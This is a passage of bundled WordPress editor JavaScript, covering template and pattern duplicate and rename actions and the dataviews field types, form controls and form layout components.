  // two props whether is custom or has a theme file.
  return [template.source, template.source].includes('custom') && !Boolean(template.type === 'wp_template' && template?.plugin) && !template.has_theme_file;
}

;// ./node_modules/@wordpress/fields/build-module/actions/duplicate-template-part.js
/**
 * WordPress dependencies
 */




// @ts-ignore


/**
 * Internal dependencies
 */




/**
 * This action is used to duplicate a template part.
 */

const duplicateTemplatePart = {
  id: 'duplicate-template-part',
  label: (0,external_wp_i18n_namespaceObject._x)('Duplicate', 'action label'),
  isEligible: item => item.type === 'wp_template_part',
  modalHeader: (0,external_wp_i18n_namespaceObject._x)('Duplicate template part', 'action label'),
  RenderModal: ({
    items,
    closeModal
  }) => {
    const [item] = items;
    const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
      var _item$blocks;
      return (_item$blocks = item.blocks) !== null && _item$blocks !== void 0 ? _item$blocks : (0,external_wp_blocks_namespaceObject.parse)(typeof item.content === 'string' ? item.content : item.content.raw, {
        __unstableSkipMigrationLogs: true
      });
    }, [item.content, item.blocks]);
    const {
      createSuccessNotice
    } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
    function onTemplatePartSuccess(templatePart) {
      createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: The new template part's title e.g. 'Call to action (copy)'.
      (0,external_wp_i18n_namespaceObject._x)('"%s" duplicated.', 'template part'), getItemTitle(templatePart)), {
        type: 'snackbar',
        id: 'edit-site-patterns-success'
      });
      closeModal?.();
    }
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreateTemplatePartModalContents, {
      blocks: blocks,
      defaultArea: item.area,
      defaultTitle: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Existing template part title */
      (0,external_wp_i18n_namespaceObject._x)('%s (Copy)', 'template part'), getItemTitle(item)),
      onCreate: onTemplatePartSuccess,
      onError: closeModal,
      confirmLabel: (0,external_wp_i18n_namespaceObject._x)('Duplicate', 'action label'),
      closeModal: closeModal !== null && closeModal !== void 0 ? closeModal : () => {}
    });
  }
};
/**
 * Duplicate action for TemplatePart.
 */
/* harmony default export */ const duplicate_template_part = (duplicateTemplatePart);

;// external ["wp","patterns"]
const external_wp_patterns_namespaceObject = window["wp"]["patterns"];
;// ./node_modules/@wordpress/fields/build-module/lock-unlock.js
/**
 * WordPress dependencies
 */

const {
  lock: lock_unlock_lock,
  unlock: lock_unlock_unlock
} = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/fields');

;// ./node_modules/@wordpress/fields/build-module/actions/duplicate-pattern.js
/**
 * WordPress dependencies
 */

// @ts-ignore

/**
 * Internal dependencies
 */


// Patterns.
const {
  CreatePatternModalContents,
  useDuplicatePatternProps
} = lock_unlock_unlock(external_wp_patterns_namespaceObject.privateApis);
const duplicatePattern = {
  id: 'duplicate-pattern',
  label: (0,external_wp_i18n_namespaceObject._x)('Duplicate', 'action label'),
  isEligible: item => item.type !== 'wp_template_part',
  modalHeader: (0,external_wp_i18n_namespaceObject._x)('Duplicate pattern', 'action label'),
  RenderModal: ({
    items,
    closeModal
  }) => {
    const [item] = items;
    const duplicatedProps = useDuplicatePatternProps({
      pattern: item,
      onSuccess: () => closeModal?.()
    });
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreatePatternModalContents, {
      onClose: closeModal,
      confirmLabel: (0,external_wp_i18n_namespaceObject._x)('Duplicate', 'action label'),
      ...duplicatedProps
    });
  }
};

/**
 * Duplicate action for Pattern.
 */
/* harmony default export */ const duplicate_pattern = (duplicatePattern);

;// ./node_modules/@wordpress/fields/build-module/actions/rename-post.js
/**
 * WordPress dependencies
 */




// @ts-ignore




/**
 * Internal dependencies
 */




// Patterns.
const {
  PATTERN_TYPES
} = lock_unlock_unlock(external_wp_patterns_namespaceObject.privateApis);
const renamePost = {
  id: 'rename-post',
  label: (0,external_wp_i18n_namespaceObject.__)('Rename'),
  isEligible(post) {
    if (post.status === 'trash') {
      return false;
    }
    // Templates, template parts and patterns have special checks for renaming.
    if (!['wp_template', 'wp_template_part', ...Object.values(PATTERN_TYPES)].includes(post.type)) {
      return post.permissions?.update;
    }

    // In the case of templates, we can only rename custom templates.
    if (isTemplate(post)) {
      return isTemplateRemovable(post) && post.is_custom && post.permissions?.update;
    }
    if (isTemplatePart(post)) {
      return post.source === 'custom' && !post?.has_theme_file && post.permissions?.update;
    }
    return post.type === PATTERN_TYPES.user && post.permissions?.update;
  },
  RenderModal: ({
    items,
    closeModal,
    onActionPerformed
  }) => {
    const [item] = items;
    const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)(() => getItemTitle(item));
    const {
      editEntityRecord,
      saveEditedEntityRecord
    } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
    const {
      createSuccessNotice,
      createErrorNotice
    } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
    async function onRename(event) {
      event.preventDefault();
      try {
        await editEntityRecord('postType', item.type, item.id, {
          title
        });
        // Update state before saving rerenders the list.
        setTitle('');
        closeModal?.();
        // Persist edited entity.
        await saveEditedEntityRecord('postType', item.type, item.id, {
          throwOnError: true
        });
        createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Name updated'), {
          type: 'snackbar'
        });
        onActionPerformed?.(items);
      } catch (error) {
        const typedError = error;
        const errorMessage = typedError.message && typedError.code !== 'unknown_error' ? typedError.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while updating the name');
        createErrorNotice(errorMessage, {
          type: 'snackbar'
        });
      }
    }
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
      onSubmit: onRename,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: "5",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
          __nextHasNoMarginBottom: true,
          __next40pxDefaultSize: true,
          label: (0,external_wp_i18n_namespaceObject.__)('Name'),
          value: title,
          onChange: setTitle,
          required: true
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          justify: "right",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "tertiary",
            onClick: () => {
              closeModal?.();
            },
            children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "primary",
            type: "submit",
            children: (0,external_wp_i18n_namespaceObject.__)('Save')
          })]
        })]
      })
    });
  }
};

/**
 * Rename action for PostWithPermissions.
 */
/* harmony default export */ const rename_post = (renamePost);

;// ./node_modules/@wordpress/dataviews/build-module/field-types/integer.js
/**
 * Internal dependencies
 */

function sort(a, b, direction) {
  return direction === 'asc' ? a - b : b - a;
}
function isValid(value, context) {
  // TODO: this implicitly means the value is required.
  if (value === '') {
    return false;
  }
  if (!Number.isInteger(Number(value))) {
    return false;
  }
  if (context?.elements) {
    const validValues = context?.elements.map(f => f.value);
    if (!validValues.includes(Number(value))) {
      return false;
    }
  }
  return true;
}
/* harmony default export */ const integer = ({
  sort,
  isValid,
  Edit: 'integer'
});

;// ./node_modules/@wordpress/dataviews/build-module/field-types/text.js
/**
 * Internal dependencies
 */

function text_sort(valueA, valueB, direction) {
  return direction === 'asc' ? valueA.localeCompare(valueB) : valueB.localeCompare(valueA);
}
function text_isValid(value, context) {
  if (context?.elements) {
    const validValues = context?.elements?.map(f => f.value);
    if (!validValues.includes(value)) {
      return false;
    }
  }
  return true;
}
/* harmony default export */ const field_types_text = ({
  sort: text_sort,
  isValid: text_isValid,
  Edit: 'text'
});

;// ./node_modules/@wordpress/dataviews/build-module/field-types/datetime.js
/**
 * Internal dependencies
 */

function datetime_sort(a, b, direction) {
  const timeA = new Date(a).getTime();
  const timeB = new Date(b).getTime();
  return direction === 'asc' ? timeA - timeB : timeB - timeA;
}
function datetime_isValid(value, context) {
  if (context?.elements) {
    const validValues = context?.elements.map(f => f.value);
    if (!validValues.includes(value)) {
      return false;
    }
  }
  return true;
}
/* harmony default export */ const datetime = ({
  sort: datetime_sort,
  isValid: datetime_isValid,
  Edit: 'datetime'
});

;// ./node_modules/@wordpress/dataviews/build-module/field-types/index.js
/**
 * Internal dependencies
 */





/**
 *
 * @param {FieldType} type The field type definition to get.
 *
 * @return A field type definition.
 */
function getFieldTypeDefinition(type) {
  if ('integer' === type) {
    return integer;
  }
  if ('text' === type) {
    return field_types_text;
  }
  if ('datetime' === type) {
    return datetime;
  }
  return {
    sort: (a, b, direction) => {
      if (typeof a === 'number' && typeof b === 'number') {
        return direction === 'asc' ? a - b : b - a;
      }
      return direction === 'asc' ? a.localeCompare(b) : b.localeCompare(a);
    },
    isValid: (value, context) => {
      if (context?.elements) {
        const validValues = context?.elements?.map(f => f.value);
        if (!validValues.includes(value)) {
          return false;
        }
      }
      return true;
    },
    Edit: () => null
  };
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/datetime.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function DateTime({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  const {
    id,
    label
  } = field;
  const value = field.getValue({
    item: data
  });
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", {
    className: "dataviews-controls__datetime",
    children: [!hideLabelFromVision && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, {
      as: "legend",
      children: label
    }), hideLabelFromVision && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
      as: "legend",
      children: label
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TimePicker, {
      currentTime: value,
      onChange: onChangeControl,
      hideLabelFromVision: true
    })]
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/integer.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function Integer({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  var _field$getValue;
  const {
    id,
    label,
    description
  } = field;
  const value = (_field$getValue = field.getValue({
    item: data
  })) !== null && _field$getValue !== void 0 ? _field$getValue : '';
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: Number(newValue)
  }), [id, onChange]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalNumberControl, {
    label: label,
    help: description,
    value: value,
    onChange: onChangeControl,
    __next40pxDefaultSize: true,
    hideLabelFromVision: hideLabelFromVision
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/radio.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function Radio({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  const {
    id,
    label
  } = field;
  const value = field.getValue({
    item: data
  });
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  if (field.elements) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RadioControl, {
      label: label,
      onChange: onChangeControl,
      options: field.elements,
      selected: value,
      hideLabelFromVision: hideLabelFromVision
    });
  }
  return null;
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/select.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

function Select({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  var _field$getValue, _field$elements;
  const {
    id,
    label
  } = field;
  const value = (_field$getValue = field.getValue({
    item: data
  })) !== null && _field$getValue !== void 0 ? _field$getValue : '';
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  const elements = [
  /*
   * Value can be undefined when:
   *
   * - the field is not required
   * - in bulk editing
   *
   */
  {
    label: (0,external_wp_i18n_namespaceObject.__)('Select item'),
    value: ''
  }, ...((_field$elements = field?.elements) !== null && _field$elements !== void 0 ? _field$elements : [])];
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
    label: label,
    value: value,
    options: elements,
    onChange: onChangeControl,
    __next40pxDefaultSize: true,
    __nextHasNoMarginBottom: true,
    hideLabelFromVision: hideLabelFromVision
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/text.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function Text({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  const {
    id,
    label,
    placeholder
  } = field;
  const value = field.getValue({
    item: data
  });
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
    label: label,
    placeholder: placeholder,
    value: value !== null && value !== void 0 ? value : '',
    onChange: onChangeControl,
    __next40pxDefaultSize: true,
    __nextHasNoMarginBottom: true,
    hideLabelFromVision: hideLabelFromVision
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/index.js
/**
 * External dependencies
 */

/**
 * Internal dependencies
 */






const FORM_CONTROLS = {
  datetime: DateTime,
  integer: Integer,
  radio: Radio,
  select: Select,
  text: Text
};
function getControl(field, fieldTypeDefinition) {
  if (typeof field.Edit === 'function') {
    return field.Edit;
  }
  if (typeof field.Edit === 'string') {
    return getControlByType(field.Edit);
  }
  if (field.elements) {
    return getControlByType('select');
  }
  if (typeof fieldTypeDefinition.Edit === 'string') {
    return getControlByType(fieldTypeDefinition.Edit);
  }
  return fieldTypeDefinition.Edit;
}
function getControlByType(type) {
  if (Object.keys(FORM_CONTROLS).includes(type)) {
    return FORM_CONTROLS[type];
  }
  throw 'Control ' + type + ' not found';
}

;// ./node_modules/@wordpress/dataviews/build-module/normalize-fields.js
/**
 * Internal dependencies
 */


const getValueFromId = id => ({
  item
}) => {
  const path = id.split('.');
  let value = item;
  for (const segment of path) {
    if (value.hasOwnProperty(segment)) {
      value = value[segment];
    } else {
      value = undefined;
    }
  }
  return value;
};

/**
 * Apply default values and normalize the fields config.
 *
 * @param fields Fields config.
 * @return Normalized fields config.
 */
function normalizeFields(fields) {
  return fields.map(field => {
    var _field$sort, _field$isValid, _field$enableHiding, _field$enableSorting;
    const fieldTypeDefinition = getFieldTypeDefinition(field.type);
    const getValue = field.getValue || getValueFromId(field.id);
    const sort = (_field$sort = field.sort) !== null && _field$sort !== void 0 ? _field$sort : function sort(a, b, direction) {
      return fieldTypeDefinition.sort(getValue({
        item: a
      }), getValue({
        item: b
      }), direction);
    };
    const isValid = (_field$isValid = field.isValid) !== null && _field$isValid !== void 0 ? _field$isValid : function isValid(item, context) {
      return fieldTypeDefinition.isValid(getValue({
        item
      }), context);
    };
    const Edit = getControl(field, fieldTypeDefinition);
    const renderFromElements = ({
      item
    }) => {
      const value = getValue({
        item
      });
      return field?.elements?.find(element => element.value === value)?.label || getValue({
        item
      });
    };
    const render = field.render || (field.elements ? renderFromElements : getValue);
    return {
      ...field,
      label: field.label || field.id,
      header: field.header || field.label || field.id,
      getValue,
      render,
      sort,
      isValid,
      Edit,
      enableHiding: (_field$enableHiding = field.enableHiding) !== null && _field$enableHiding !== void 0 ? _field$enableHiding : true,
      enableSorting: (_field$enableSorting = field.enableSorting) !== null && _field$enableSorting !== void 0 ? _field$enableSorting : true
    };
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/validation.js
/**
 * Internal dependencies
 */

/**
 * Whether or not the given item's value is valid according to the fields and form config.
 *
 * @param item   The item to validate.
 * @param fields Fields config.
 * @param form   Form config.
 *
 * @return A boolean indicating if the item is valid (true) or not (false).
 */
function isItemValid(item, fields, form) {
  const _fields = normalizeFields(fields.filter(({
    id
  }) => !!form.fields?.includes(id)));
  return _fields.every(field => {
    return field.isValid(item, {
      elements: field.elements
    });
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataform-context/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

const DataFormContext = (0,external_wp_element_namespaceObject.createContext)({
  fields: []
});
function DataFormProvider({
  fields,
  children
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormContext.Provider, {
    value: {
      fields
    },
    children: children
  });
}
/* harmony default export */ const dataform_context = (DataFormContext);

;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/is-combined-field.js
/**
 * Internal dependencies
 */

function isCombinedField(field) {
  return field.children !== undefined;
}

;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/regular/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */





function Header({
  title
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
    className: "dataforms-layouts-regular__header",
    spacing: 4,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      alignment: "center",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
        level: 2,
        size: 13,
        children: title
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {})]
    })
  });
}
function FormRegularField({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  var _field$labelPosition;
  const {
    fields
  } = (0,external_wp_element_namespaceObject.useContext)(dataform_context);
  const form = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (isCombinedField(field)) {
      return {
        fields: field.children.map(child => {
          if (typeof child === 'string') {
            return {
              id: child
            };
          }
          return child;
        }),
        type: 'regular'
      };
    }
    return {
      type: 'regular',
      fields: []
    };
  }, [field]);
  if (isCombinedField(field)) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [!hideLabelFromVision && field.label && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Header, {
        title: field.label
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormLayout, {
        data: data,
        form: form,
        onChange: onChange
      })]
    });
  }
  const labelPosition = (_field$labelPosition = field.labelPosition) !== null && _field$labelPosition !== void 0 ? _field$labelPosition : 'top';
  const fieldDefinition = fields.find(fieldDef => fieldDef.id === field.id);
  if (!fieldDefinition) {
    return null;
  }
  if (labelPosition === 'side') {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      className: "dataforms-layouts-regular__field",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "dataforms-layouts-regular__field-label",
        children: fieldDefinition.label
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "dataforms-layouts-regular__field-control",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(fieldDefinition.Edit, {
          data: data,
          field: fieldDefinition,
          onChange: onChange,
          hideLabelFromVision: true
        }, fieldDefinition.id)
      })]
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "dataforms-layouts-regular__field",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(fieldDefinition.Edit, {
      data: data,
      field: fieldDefinition,
      onChange: onChange,
      hideLabelFromVision: labelPosition === 'none' ? true : hideLabelFromVision
    })
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/close-small.js
/**
 * WordPress dependencies
 */


const closeSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"
  })
});
/* harmony default export */ const close_small = (closeSmall);

;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/panel/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */





function DropdownHeader({
  title,
  onClose
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
    className: "dataforms-layouts-panel__dropdown-header",
    spacing: 4,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      alignment: "center",
      children: [title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
        level: 2,
        size: 13,
        children: title
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {}), onClose && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        label: (0,external_wp_i18n_namespaceObject.__)('Close'),
        icon: close_small,
        onClick: onClose,
        size: "small"
      })]
    })
  });
}
function PanelDropdown({
  fieldDefinition,
  popoverAnchor,
  labelPosition = 'side',
  data,
  onChange,
  field
}) {
  const fieldLabel = isCombinedField(field) ? field.label : fieldDefinition?.label;
  const form = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (isCombinedField(field)) {
      return {
        type: 'regular',
        fields: field.children.map(child => {
          if (typeof child === 'string') {
            return {
              id: child
            };
          }
          return child;
        })
      };
    }
    // If not explicit children return the field id itself.
    return {
      type: 'regular',
      fields: [{
        id: field.id
      }]
    };
  }, [field]);

  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
    contentClassName: "dataforms-layouts-panel__field-dropdown",
    popoverProps: popoverProps,
    focusOnMount: true,
    toggleProps: {
      size: 'compact',
      variant: 'tertiary',
      tooltipPosition: 'middle left'
    },
    renderToggle: ({
      isOpen,
      onToggle
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      className: "dataforms-layouts-panel__field-control",
      size: "compact",
      variant: ['none', 'top'].includes(labelPosition) ? 'link' : 'tertiary',
      "aria-expanded": isOpen,
      "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Field name.
      (0,external_wp_i18n_namespaceObject._x)('Edit %s', 'field'), fieldLabel),
      onClick: onToggle,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(fieldDefinition.render, {
        item: data
      })
    }),
    renderContent: ({
      onClose
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DropdownHeader, {
        title: fieldLabel,
        onClose: onClose
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormLayout, {
        data: data,
        form: form,
        onChange: onChange,
        children: (FieldLayout, nestedField) => {
          var _form$fields;
          return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldLayout, {
            data: data,
            field: nestedField,
            onChange: onChange,
            hideLabelFromVision: ((_form$fields = form?.fields) !== null && _form$fields !== void 0 ? _form$fields : []).length < 2
          }, nestedField.id);
        }
      })]
    })
  });
}
function FormPanelField({
  data,
  field,
  onChange
}) {
  var _field$labelPosition;
  const {
    fields
  } = (0,external_wp_element_namespaceObject.useContext)(dataform_context);
  const fieldDefinition = fields.find(fieldDef => {
    // Default to the first child if it is a combined field.
    if (isCombinedField(field)) {
      const children = field.children.filter(child => typeof child === 'string' || !isCombinedField(child));
      const firstChildFieldId = typeof children[0] === 'string' ? children[0] : children[0].id;
      return fieldDef.id === firstChildFieldId;
    }
    return fieldDef.id === field.id;
  });
  const labelPosition = (_field$labelPosition = field.labelPosition) !== null && _field$labelPosition !== void 0 ? _field$labelPosition : 'side';

  // Use internal state instead of a ref to make sure that the component
  // re-renders when the popover's anchor updates.
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  if (!fieldDefinition) {
    return null;
  }
  const fieldLabel = isCombinedField(field) ? field.label : fieldDefinition?.label;
  if (labelPosition === 'top') {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      className: "dataforms-layouts-panel__field",
      spacing: 0,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "dataforms-layouts-panel__field-label",
        style: {
          paddingBottom: 0
        },
        children: fieldLabel
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "dataforms-layouts-panel__field-control",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelDropdown, {
          field: field,
          popoverAnchor: popoverAnchor,
          fieldDefinition: fieldDefinition,
          data: data,
          onChange: onChange,
          labelPosition: labelPosition
        })
      })]
    });
  }
  if (labelPosition === 'none') {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "dataforms-layouts-panel__field",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelDropdown, {
        field: field,
        popoverAnchor: popoverAnchor,
        fieldDefinition: fieldDefinition,
        data: data,
        onChange: onChange,
        labelPosition: labelPosition
      })
    });
  }

  // Defaults to label position side.
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    ref: setPopoverAnchor,
    className: "dataforms-layouts-panel__field",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "dataforms-layouts-panel__field-label",
      children: fieldLabel
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "dataforms-layouts-panel__field-control",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelDropdown, {
        field: field,
        popoverAnchor: popoverAnchor,
        fieldDefinition: fieldDefinition,
        data: data,
        onChange: onChange,
        labelPosition: labelPosition
      })
    })]
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/index.js
/**
 * Internal dependencies
 */


const FORM_FIELD_LAYOUTS = [{
  type: 'regular',
  component: FormRegularField
}, {
  type: 'panel',
  component: FormPanelField
}];
function getFormFieldLayout(type) {
  return FORM_FIELD_LAYOUTS.find(layout => layout.type === type);
}

;// ./node_modules/@wordpress/dataviews/build-module/normalize-form-fields.js
/**
 * Internal dependencies
 */

function normalizeFormFields(form) {
  var _form$type, _form$labelPosition, _form$fields;
  let layout = 'regular';
  if (['regular', 'panel'].includes((_form$type = form.type) !== null && _form$type !== void 0 ? _form$type : '')) {
    layout = form.type;
  }
  const labelPosition = (_form$labelPosition = form.labelPosition) !== null && _form$labelPosition !== void 0 ? _form$labelPosition : layout === 'regular' ? 'top' : 'side';
  return ((_form$fields = form.fields) !== null && _form$fields !== void 0 ? _form$fields : []).map(field => {
    var _field$layout, _field$labelPosition;
    if (typeof field === 'string') {
      return {
        id: field,
        layout,
        labelPosition
      };
    }
    const fieldLayout = (_field$layout = field.layout) !== null && _field$layout !== void 0 ? _field$layout : layout;
    const fieldLabelPosition = (_field$labelPosition = field.labelPosition) !== null && _field$labelPosition !== void 0 ? _field$labelPosition : fieldLayout === 'regular' ? 'top' : 'side';
    return {
      ...field,
      layout: fieldLayout,
      labelPosition: fieldLabelPosition
    };
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/data-form-layout.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */






function DataFormLayout({
  data,
  form,
  onChange,
  children
}) {
  const {
    fields: fieldDefinitions
  } = (0,external_wp_element_namespaceObject.useContext)(dataform_context);
  function getFieldDefinition(field) {
    const fieldId = typeof field === 'string' ? field : field.id;
    return fieldDefinitions.find(fieldDefinition => fieldDefinition.id === fieldId);
  }
  const normalizedFormFields = (0,external_wp_element_namespaceObject.useMemo)(() => normalizeFormFields(form), [form]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 2,
